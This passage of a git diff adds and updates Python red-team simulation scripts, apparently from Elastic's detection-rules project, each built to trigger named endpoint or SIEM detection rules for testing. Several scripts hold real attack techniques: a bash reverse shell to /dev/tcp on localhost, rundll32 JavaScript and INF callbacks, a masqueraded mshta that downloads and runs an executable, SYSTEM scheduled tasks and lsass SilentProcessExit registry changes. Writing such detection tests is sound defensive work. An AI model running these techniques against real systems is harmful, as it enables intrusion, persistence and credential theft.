platforms=["macos", "linux"], + endpoint=[ + { + "rule_name": "Potential Reverse Shell Activity via Terminal", + "rule_id": "d0e45f6c-1f83-4d97-a8d9-c8f9eb61c15c", + } + ], + siem=[], + techniques=["T1071", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing command to simulate reverse shell execution") + common.execute(['bash -c "bash -i >/dev/tcp/127.0.0.1/4444" 0>&1'], shell=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/root_cert_install.py b/rta/root_cert_install.py new file mode 100644 index 000000000..659eb0d0c --- /dev/null +++ b/rta/root_cert_install.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="633313a4-dbe5-420f-b4ae-90c481a7f881", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Attempt to Install Root Certificate", "rule_id": "bc1eeacf-2972-434f-b782-3a532b100d67"}], + techniques=["T1553"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/security" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Executing fake security commands to add a root cert.") + common.execute([masquerade, "add-trusted-cert"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/root_crontab_file_modification.py b/rta/root_crontab_file_modification.py new file mode 100644 index 000000000..39a086b4b --- /dev/null +++ b/rta/root_crontab_file_modification.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f9feed6d-bae3-49c6-8952-7ed8e9b0b9ef", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Potential Privilege Escalation via Root Crontab File Modification", + "rule_id": "31151602-1de1-4301-9b75-215ac8902b75", + } + ], + siem=[ + { + "rule_name": "Privilege Escalation via Root Crontab File Modification", + "rule_id": "0ff84c42-873d-41a2-a4ed-08d74d352d01", + } + ], + techniques=["T1053"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing deletion on /private/var/at/tabs/root file.") + common.temporary_file_helper("testing", file_name="/private/var/at/tabs/root") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/rubeus_alike_commandline.py b/rta/rubeus_alike_commandline.py new file mode 100644 index 000000000..375dfba61 --- /dev/null +++ b/rta/rubeus_alike_commandline.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="85cf6796-5f53-4fed-a5cb-8b211882543c", + platforms=["windows"], + endpoint=[ + {"rule_name": "Potential Credential Access via Rubeus", "rule_id": "0783f666-75ad-4015-9dd5-d39baec8f6b0"} + ], + siem=[], + techniques=["T1558"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + cmd = "Echo asreproast instead of executing it" + # Execute command + common.execute([powershell, "/c", "echo", cmd], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/rundll32_inf.py b/rta/rundll32_inf.py new file mode 100644 index 000000000..eb5bcc054 --- /dev/null +++ b/rta/rundll32_inf.py @@ -0,0 +1,53 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import time + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="7d139669-2b4c-4fc3-9a7c-bd1b643696dc", + platforms=["windows"], + endpoint=[ + {"rule_name": "Scriptlet Execution via Rundll32", "rule_id": "93438ae3-becd-43fa-81de-645ce17afa8e"}, + {"rule_name": "Binary Proxy Execution via Rundll32", "rule_id": "f60455df-5054-49ff-9ff7-1dc4e37b6ea7"}, + ], + siem=[], + techniques=["T1218", "T1059"], +) + +INF_FILE = common.get_path("bin", "notepad_launch.inf") + + +def main(): + # http server will terminate on main thread exit + # if daemon is True + common.log("RunDLL32 with Script Object and Network Callback") + server, ip, port = common.serve_web() + callback = "http://%s:%d" % (ip, port) + common.clear_web_cache() + + common.patch_regex(INF_FILE, common.CALLBACK_REGEX, callback) + + rundll32 = "rundll32.exe" + common.execute( + [ + rundll32, + "advpack.dll," + "LaunchINFSection", + INF_FILE + ",DefaultInstall_SingleUser,1,", + ], + shell=False, + ) + + time.sleep(1) + common.log("Cleanup", log_type="-") + common.execute(["taskkill", "/f", "/im", "notepad.exe"]) + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/rundll32_inf_callback.py b/rta/rundll32_inf_callback.py index 91f266b13..071bfc2d1 100644 --- a/rta/rundll32_inf_callback.py +++ b/rta/rundll32_inf_callback.py @@ -13,11 +13,16 @@ import time from . import common +from . import RtaMetadata + + +metadata = RtaMetadata(uuid="a2edc784-e969-45f4-b8d2-fe4556b42cd6", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + INF_FILE = common.get_path("bin", "script_launch.inf") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(INF_FILE) def main(): # http server will terminate on main thread exit diff --git a/rta/rundll32_javascript_callback.py b/rta/rundll32_javascript_callback.py index 71bc347fb..ef7b4a32c 100644 --- a/rta/rundll32_javascript_callback.py +++ b/rta/rundll32_javascript_callback.py @@ -11,22 +11,28 @@ # Description: Executes javascript code with an AJAX call via RunDll32.exe from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="75687622-2e75-4612-b213-a31f923efdd4", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("RunDLL32 with Javascript Callback") server, ip, port = common.serve_web() common.clear_web_cache() url = "http://%s:%d" % (ip, port) - rundll32 = 'rundll32.exe' + rundll32 = "rundll32.exe" js = """ 'javascript:"\..\mshtml,RunHTMLApplication ";' 'var%20xhr=new%20ActiveXObject("Msxml2.XMLHttp.6.0");,' 'xhr.open("GET", "{url}",false);xhr.send();' - """.format(url=url) - packed_js = ''.join(s.strip() for s in js.splitlines()) + """.format( + url=url + ) + packed_js = "".join(s.strip() for s in js.splitlines()) common.execute([rundll32, packed_js]) server.shutdown() diff --git a/rta/rundll32_unusual_args.py b/rta/rundll32_unusual_args.py new file mode 100644 index 000000000..86d11f178 --- /dev/null +++ b/rta/rundll32_unusual_args.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="3ede81fa-f4e7-48fc-a939-50ad7a9a07ca", + platforms=["windows"], + endpoint=[ + {"rule_name": "Command Shell Activity Started via RunDLL32", "rule_id": "b8a0a3aa-0345-4035-b41d-f758a6c59a78"}, + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "RunDLL32 with Unusual Arguments", "rule_id": "cfaf983e-1129-464c-b0aa-270f42e20d3d"}, + {"rule_name": "Binary Proxy Execution via Rundll32", "rule_id": "f60455df-5054-49ff-9ff7-1dc4e37b6ea7"}, + ], + siem=[], + techniques=["T1218", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + source_dll = "C:\\Windows\\System32\\IEAdvpack.dll" + dll = "C:\\Users\\Public\\IEAdvpack.dll" + common.copy_file(source_dll, dll) + + # Execute command + common.log("Spawning cmd using Rundll32") + common.execute(["rundll32.exe", f"{dll},RegisterOCX", "cmd.exe"]) + + common.remove_files(dll) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/rundll32_unusual_dll_extension.py b/rta/rundll32_unusual_dll_extension.py new file mode 100644 index 000000000..14af87ca2 --- /dev/null +++ b/rta/rundll32_unusual_dll_extension.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="64a7cd38-767f-4d46-9350-feb585a32c18", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Unusual DLL Extension Loaded by Rundll32 or Regsvr32", + "rule_id": "76da5dca-ffe5-4756-85ba-3ac2e6ccf623", + }, + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") + + +@common.requires_os(metadata.platforms) +def main(): + rundll32 = "C:\\Users\\Public\\rundll32.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\a.rta" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + common.copy_file(EXE_FILE, rundll32) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + + # Execute command + + common.log("Loading a.rta into fake rundll32") + common.execute([rundll32, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) + + common.remove_files(rundll32, dll, ps1) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/schtask_escalation.py b/rta/schtask_escalation.py index 0d5fbe7a8..79f06cfef 100644 --- a/rta/schtask_escalation.py +++ b/rta/schtask_escalation.py @@ -15,39 +15,53 @@ import os import time from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="1a61241e-5b1b-44ec-8c9f-3ae4652550be", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "afcce5ad-65de-4ed2-8516-5e093d3ac99a", "rule_name": "Local Scheduled Task Creation"}, + {"rule_id": "ef862985-3f13-4262-a686-5f357bbb9bc2", "rule_name": "Whoami Process Activity"}, + {"rule_id": "fd7a6052-58fa-4397-93c3-4795249ccfa2", "rule_name": "Svchost spawning Cmd"}, + ], + techniques=["T1033", "T1053", "T1059"], +) def schtasks(*args, **kwargs): - return common.execute(['schtasks.exe'] + list(args), **kwargs) + return common.execute(["schtasks.exe"] + list(args), **kwargs) -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(): common.log("Scheduled Task Privilege Escalation") - task_name = 'test-task-rta' - file_path = os.path.abspath('task.log') + task_name = "test-task-rta" + file_path = os.path.abspath("task.log") command = "cmd.exe /c whoami.exe > " + file_path # Delete the task if it exists - code, output = schtasks('/query', '/tn', task_name) + code, output = schtasks("/query", "/tn", task_name) if code == 0: - schtasks('/delete', '/tn', task_name, '/f') + schtasks("/delete", "/tn", task_name, "/f") - code, output = schtasks('/create', '/tn', task_name, '/ru', 'system', '/tr', command, '/sc', 'onlogon') + code, output = schtasks("/create", "/tn", task_name, "/ru", "system", "/tr", command, "/sc", "onlogon") if code != 0: common.log("Error creating task", log_type="!") return # Run the task and grab the file - code, output = schtasks('/run', '/tn', task_name) + code, output = schtasks("/run", "/tn", task_name) if code == 0: time.sleep(1) common.print_file(file_path) time.sleep(1) common.remove_file(file_path) - schtasks('/delete', '/tn', task_name, '/f') + schtasks("/delete", "/tn", task_name, "/f") if __name__ == "__main__": diff --git a/rta/schtasks_xml_masqueraded.py b/rta/schtasks_xml_masqueraded.py new file mode 100644 index 000000000..644daccb7 --- /dev/null +++ b/rta/schtasks_xml_masqueraded.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="4bb0b65e-8e78-4680-ab37-d6c0723f97a9", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious Scheduled Task Creation via Masqueraded XML File", + "rule_id": "1efc0496-106b-4c09-b99b-91cdd17ba7b3", + } + ], + siem=[], + techniques=["T1053", "T1036"], +) + + +@common.requires_os(metadata.platforms) +def main(): + # Execute Command + common.log("Executing command to simulate the task creation (This will not create a task)") + common.execute(["schtasks.exe", "/CREATE", "/XML", "update", "/TN", "Test", "/F"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/scp_privacy_bypass.py b/rta/scp_privacy_bypass.py new file mode 100644 index 000000000..ee0b387bd --- /dev/null +++ b/rta/scp_privacy_bypass.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="75fec962-54a4-4bb1-80ea-995269e90b30", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Potential Privacy Control Bypass via Localhost Secure Copy", + "rule_id": "55df8e91-fd3c-4cc1-b36f-f01ded8c6da3", + } + ], + siem=[ + { + "rule_name": "Potential Privacy Control Bypass via Localhost Secure Copy", + "rule_id": "c02c8b9f-5e1d-463c-a1b0-04edcdfe1a3d", + } + ], + techniques=["T1548"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/scp" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to bypass privacy controls") + common.execute( + [masquerade, "StrictHostKeyChecking=no", "/tmp/scp test@localhost:/test"], + timeout=10, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/screensaver_child_process.py b/rta/screensaver_child_process.py new file mode 100644 index 000000000..cea3e9c39 --- /dev/null +++ b/rta/screensaver_child_process.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="adc70542-4d6e-4449-bf96-4cd44367bfbb", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Unexpected Child Process of macOS Screensaver Engine", + "rule_id": "fba012f6-7aa8-448e-8f59-cdecce2845b5", + } + ], + siem=[ + { + "rule_name": "Unexpected Child Process of macOS Screensaver Engine", + "rule_id": "48d7f54d-c29e-4430-93a9-9db6b5892270", + } + ], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/ScreenSaverEngine" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to spawn bash from screensaver engine") + common.execute([masquerade], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/screensaver_plist_mod.py b/rta/screensaver_plist_mod.py new file mode 100644 index 000000000..e382f0480 --- /dev/null +++ b/rta/screensaver_plist_mod.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ce87d15a-9b72-42c4-8721-ae4bcff86a05", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Screensaver Plist File Modified by Unexpected Process", + "rule_id": "ebae5222-71ba-4b73-afe9-8e034f8b4a04", + } + ], + siem=[ + { + "rule_name": "Screensaver Plist File Modified by Unexpected Process", + "rule_id": "e6e8912f-283f-4d0d-8442-e0dcaf49944b", + } + ], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/killall" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake file screensaver plist modification commands") + common.temporary_file_helper( + "testing", + file_name="/Library/Managed Preferences/com.apple.screensaver.test.plist", + ) + common.execute([masquerade, "cfprefsd"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/scrobj_com_hijack.py b/rta/scrobj_com_hijack.py index 7dd0d7b5f..e1cd13a1d 100644 --- a/rta/scrobj_com_hijack.py +++ b/rta/scrobj_com_hijack.py @@ -9,9 +9,19 @@ # Description: Modifies the Registry to create a new user-defined COM broker, "scrobj.dll". from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="ac739578-c978-429f-9454-0bbe82f993f4", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "16a52c14-7883-47af-8745-9357803f0d4c", "rule_name": "Component Object Model Hijacking"}], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) def main(): key = "SOFTWARE\\Classes\\CLSID\\{00000000-0000-0000-0000-0000DEADBEEF}" subkey = "InprocServer32" diff --git a/rta/secure_file_deletion.py b/rta/secure_file_deletion.py index adc657096..791f8386a 100644 --- a/rta/secure_file_deletion.py +++ b/rta/secure_file_deletion.py @@ -8,19 +8,29 @@ import subprocess import tempfile from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="9cb42759-a161-4d93-b07d-3c8254dc8838", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "55d551c6-333b-4665-ab7e-5d14a59715ce", "rule_name": "PsExec Network Connection"}], + techniques=["T1569"], +) + + +@common.requires_os(metadata.platforms) def main(): - temp_path = os.path.join(tempfile.gettempdir(), os.urandom(16).encode('hex')) - sdelete_path = common.get_path("bin", 'sdelete.exe') + temp_path = os.path.join(tempfile.gettempdir(), os.urandom(16).encode("hex")) + sdelete_path = common.get_path("bin", "sdelete.exe") try: # Create a temporary file and close handles so it can be deleted - with open(temp_path, 'wb') as f_out: - f_out.write('A') + with open(temp_path, "wb") as f_out: + f_out.write("A") - subprocess.check_call([sdelete_path, '/accepteula', temp_path]) + subprocess.check_call([sdelete_path, "/accepteula", temp_path]) finally: common.remove_file(temp_path) diff --git a/rta/security_authtrampoline.py b/rta/security_authtrampoline.py new file mode 100644 index 000000000..765a65677 --- /dev/null +++ b/rta/security_authtrampoline.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="dd39e94e-bfd7-467c-b20d-662d84c0b97e", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Execution with Explicit Credentials via Scripting", + "rule_id": "f0eb70e9-71e9-40cd-813f-bf8e8c812cb1", + } + ], + techniques=["T1078", "T1548", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/security_authtrampoline" + common.create_macos_masquerade(masquerade) + + # Execute commands + common.log("Launching fake security_authtrampoline process commands to mimic root execution.") + common.execute([masquerade], timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/settingcontentms_files.py b/rta/settingcontentms_files.py index fe71224a0..6321154a2 100644 --- a/rta/settingcontentms_files.py +++ b/rta/settingcontentms_files.py @@ -13,14 +13,29 @@ import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="7dea9748-dcac-49a9-8909-bd1f5590e508", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "7405ddf1-6c8e-41ce-818f-48bea6bcaed8", + "rule_name": "Potential Modification of Accessibility Binaries", + } + ], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) def main(): # Write to AppData\Local\ - common.execute(['cmd', '/c', 'echo', 'test', '>', '%APPDATA%\\test.SettingContent-ms']) + common.execute(["cmd", "/c", "echo", "test", ">", "%APPDATA%\\test.SettingContent-ms"]) time.sleep(1) - common.execute(['cmd', '/c', 'del', '%APPDATA%\\test.SettingContent-ms']) + common.execute(["cmd", "/c", "del", "%APPDATA%\\test.SettingContent-ms"]) if __name__ == "__main__": diff --git a/rta/sevenzip_encrypted.py b/rta/sevenzip_encrypted.py index 58db54130..1fa3ce940 100644 --- a/rta/sevenzip_encrypted.py +++ b/rta/sevenzip_encrypted.py @@ -13,18 +13,29 @@ import os import sys from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6cd35061-278b-45e7-a9cb-86b48bc47884", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "45d273fb-1dca-457d-9855-bcb302180c21", "rule_name": "Encrypting Files with WinRar or 7z"}], + techniques=["T1560"], +) + SEVENZIP = common.get_path("bin", "7za.exe") def create_exfil(path=os.path.abspath("secret_stuff.txt")): common.log("Writing dummy exfil to %s" % path) - with open(path, 'wb') as f: + with open(path, "wb") as f: f.write(base64.b64encode(b"This is really secret stuff\n" * 100)) return path -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(SEVENZIP) def main(password="s0l33t"): # create 7z.exe with not-7zip name, and exfil diff --git a/rta/shlayer_payload.py b/rta/shlayer_payload.py new file mode 100644 index 000000000..909e69a11 --- /dev/null +++ b/rta/shlayer_payload.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="c0f3618b-a7d9-403c-8b42-572da0b20f47", + platforms=["macos"], + endpoint=[{"rule_name": "Shlayer Malware Infection", "rule_id": "3dda1ac2-86ef-41f5-ad3b-d9396383e104"}], + siem=[], + techniques=["T1105"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/curl" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake curl command to download Shlayer payloads") + common.execute([masquerade, "-f0L"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/shortcut_file_suspicious_process.py b/rta/shortcut_file_suspicious_process.py index 7ba2e7aff..3aa9d4033 100644 --- a/rta/shortcut_file_suspicious_process.py +++ b/rta/shortcut_file_suspicious_process.py @@ -9,13 +9,17 @@ # Description: Create a .lnk file using cmd.exe from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="755e88fd-1fe1-44c7-b5f0-688a39fec420", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("Writing dummy shortcut file") - shortcut_path = 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\evil.lnk' - common.execute(['cmd', '/c', 'echo', 'dummy_shortcut', '>', shortcut_path]) + shortcut_path = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\evil.lnk" + common.execute(["cmd", "/c", "echo", "dummy_shortcut", ">", shortcut_path]) common.log("Deleting dummy shortcut file") common.remove_file(shortcut_path) diff --git a/rta/signed_proxy_file_written_exec.py b/rta/signed_proxy_file_written_exec.py new file mode 100644 index 000000000..8bfe0e8b4 --- /dev/null +++ b/rta/signed_proxy_file_written_exec.py @@ -0,0 +1,56 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="cbed76ce-a373-4bc5-b1b3-f5330de18cc7", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Execution of a File Written by a Signed Binary Proxy", + "rule_id": "ccbc4a79-3bae-4623-aaef-e28a96bf538b", + }, + { + "rule_name": "Script Execution via Microsoft HTML Application", + "rule_id": "f0630213-c4c4-4898-9514-746395eb9962", + }, + { + "rule_name": "Suspicious Windows Script Interpreter Child Process", + "rule_id": "83da4fac-563a-4af8-8f32-5a3797a9068e", + }, + ], + siem=[], + techniques=["T1218", "T1036", "T1055", "T1105", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + server, ip, port = common.serve_web() + url = f"http://{ip}:{port}/bin/renamed_posh.exe" + + mshta = "C:\\Users\\Public\\mshta.exe" + dropped = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, mshta) + + cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" + + # Execute command + common.log("Using a fake mshta to drop and execute an .exe") + common.execute([mshta, "/c", cmd], timeout=10) + common.execute([mshta, "/c", dropped], timeout=10, kill=True) + common.remove_file(mshta) + common.remove_file(dropped) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/silentprocessexit_lsass.py b/rta/silentprocessexit_lsass.py new file mode 100644 index 000000000..4e78e438d --- /dev/null +++ b/rta/silentprocessexit_lsass.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="bf2f893a-513a-41ea-9170-2c9b08a2a55f", + platforms=["windows"], + endpoint=[{"rule_name": "LSA Dump via SilentProcessExit", "rule_id": "28969fe6-0ebe-4442-b40c-dbe9b4234f5e"}], + siem=[], + techniques=["T1003"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Temporarily creating LSA SilentProcessExit reg key...") + + key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit" + value = "lsass.exe" + data = "0" + + with common.temporary_reg(common.HKLM, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/sip_provider.py b/rta/sip_provider.py index 607896f44..82d9d570b 100644 --- a/rta/sip_provider.py +++ b/rta/sip_provider.py @@ -9,6 +9,16 @@ # Description: Registers a mock SIP provider to bypass code integrity checks and execute mock malware. from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b0e3e1bb-dfa5-473a-8862-b2d1d42819ce", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "f2c7b914-eda3-40c2-96ac-d23ef91776ca", "rule_name": "SIP Provider Modification"}], + techniques=["T1553"], +) CRYPTO_ROOT = "SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0" @@ -45,7 +55,7 @@ else: TARGET_APP = common.get_path("bin", "myapp.exe") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP) def main(): common.log("Registering SIP provider") diff --git a/rta/smb_connection.py b/rta/smb_connection.py index ecf6f6d5c..b37de0726 100644 --- a/rta/smb_connection.py +++ b/rta/smb_connection.py @@ -12,11 +12,22 @@ import socket import sys from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b0e3e1bb-dfa5-473a-8862-b2d1d42819ce", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "c82c7d8f-fb9e-4874-a4bd-fd9e3f9becf1", "rule_name": "Direct Outbound SMB Connection"}], + techniques=["T1021"], +) + SMB_PORT = 445 -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(ip=None): ip = ip or common.get_ip() diff --git a/rta/solarmaker_backdoor.py b/rta/solarmaker_backdoor.py new file mode 100644 index 000000000..d6bb86041 --- /dev/null +++ b/rta/solarmaker_backdoor.py @@ -0,0 +1,55 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="c2786f8d-d565-494d-84e2-5dcb2da711c4", + platforms=["windows"], + endpoint=[ + {"rule_name": "SolarMarker Backdoor Registry Modification", "rule_id": "f7e6d239-9af5-42e3-8d23-91e7188a5cb0"} + ], + siem=[], + techniques=["T1112", "T1546"], +) + + +@common.requires_os(metadata.platforms) +def main(): + reg = "C:\\Windows\\System32\\reg.exe" + + payloadcontent = ( + "Just some Powershell random words to make it to the 200 characters, remember to drink water and" + "take a walk twice a day, check if your dog has enought food and water too, ah, and go to the" + "gym, you can do it!!!!" + ) + regpath = "HKEY_CURRENT_USER\\Software\\Classes\\simul8\\shell\\open" + + # Execute command + common.log("Creating reg key using fake msiexec") + common.execute( + [ + reg, + "add", + regpath, + "/v", + "command", + "/t", + "REG_SZ", + "/d", + payloadcontent, + "/f", + ], + timeout=5, + kill=True, + ) + + common.execute([reg, "delete", regpath, "/f"], timeout=5, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/spctl_gatekeeper_bypass.py 